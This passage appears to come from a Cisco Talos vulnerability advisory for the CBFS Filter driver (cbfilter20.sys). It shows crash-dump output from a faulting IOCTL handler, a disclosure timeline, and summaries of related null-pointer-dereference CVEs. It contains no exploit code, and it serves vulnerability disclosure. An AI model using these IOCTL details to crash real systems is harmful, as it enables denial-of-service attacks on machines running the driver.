    ffff9c0e`e2b67200 fffff802`554812d5     : 00000000`00083150 ffff9c0e`e2b67540 00000000`00000005 ffff9c0e`e2b67540 : nt!IopSynchronousServiceTail+0x1a8
    ffff9c0e`e2b672a0 fffff802`55480cd6     : 00007ff8`86a68e80 00000000`00000000 00000000`00000000 00000000`00000000 : nt!IopXxxControlFile+0x5e5
    ffff9c0e`e2b673e0 fffff802`55214ab5     : 00000000`00000000 00000000`00000000 00000000`00000000 000000e2`7d7ecb18 : nt!NtDeviceIoControlFile+0x56
    ffff9c0e`e2b67450 00007ff8`c726ce54     : 00007ff8`c4aab04b ffffffff`ff9c9830 00000000`00000000 000000e2`7d7eeb48 : nt!KiSystemServiceCopyEnd+0x25
    000000e2`7d7eea78 00007ff8`c4aab04b     : ffffffff`ff9c9830 00000000`00000000 000000e2`7d7eeb48 000000e2`7d7eec40 : ntdll!NtDeviceIoControlFile+0x14
    000000e2`7d7eea80 00007ff8`c6a05611     : 00000000`00083150 000000e2`7d7eec40 00000236`fb968d00 00007ff8`86b0694d : KERNELBASE!DeviceIoControl+0x6b
    000000e2`7d7eeaf0 00007ff8`86a4648c     : 00000000`00000022 000000e2`7d7eec40 000000e2`7d7eec40 00000000`00000001 : KERNEL32!DeviceIoControlImplementation+0x81
    000000e2`7d7eeb40 00000000`00000022     : 000000e2`7d7eec40 000000e2`7d7eec40 00000000`00000001 00000000`00000000 : win32file!PyInit_win32file+0xf98c
    000000e2`7d7eeb48 000000e2`7d7eec40     : 000000e2`7d7eec40 00000000`00000001 00000000`00000000 000000e2`00000000 : 0x22
    000000e2`7d7eeb50 000000e2`7d7eec40     : 00000000`00000001 00000000`00000000 000000e2`00000000 000000e2`7d7eeba0 : 0x000000e2`7d7eec40
    000000e2`7d7eeb58 00000000`00000001     : 00000000`00000000 000000e2`00000000 000000e2`7d7eeba0 00000000`00000000 : 0x000000e2`7d7eec40
    000000e2`7d7eeb60 00000000`00000000     : 000000e2`00000000 000000e2`7d7eeba0 00000000`00000000 000000e2`7d7eeba8 : 0x1
    
    
    SYMBOL_NAME:  cbfilter20!handle_ioctl_83150+d0
    
    MODULE_NAME: cbfilter20
    
    IMAGE_NAME:  cbfilter20.sys
    
    STACK_COMMAND:  .cxr 0xffff9c0ee2b66560 ; kb
    
    BUCKET_ID_FUNC_OFFSET:  d0
    
    FAILURE_BUCKET_ID:  0x3B_c0000005_cbfilter20!handle_ioctl_83150
    
    OS_VERSION:  10.0.19041.1
    
    BUILDLAB_STR:  vb_release
    
    OSPLATFORM_TYPE:  x64
    
    OSNAME:  Windows 10
    
    FAILURE_ID_HASH:  {2a1744df-b799-38ae-0bd4-b13f23c537e7}
    
    Followup:     MachineOwner
    ---------
    

**TIMELINE**

2022-11-04 - Vendor Disclosure  
2022-11-04 - Initial Vendor Contact  
2022-11-22 - Public Release

Discovered by Emmanuel Tacheau of Cisco Talos.

CVE-2022-43588: TALOS-2022-1647 || Cisco Talos Intelligence Group

A null pointer dereference vulnerability exists in the handle_ioctl_0x830a0_systembuffer functionality of Callback technologies CBFS Filter 20.0.8317. A specially-crafted I/O request packet (IRP) can lead to denial of service. An attacker can issue an ioctl to trigger this vulnerability.

CVE-2022-43590: TALOS-2022-1649 || Cisco Talos Intelligence Group

A null pointer dereference vulnerability exists in the handle_ioctl_8314C functionality of Callback technologies CBFS Filter 20.0.8317. A specially-crafted I/O request packet (IRP) can lead to denial of service. An attacker can issue an ioctl to trigger this vulnerability.

Tag

#windows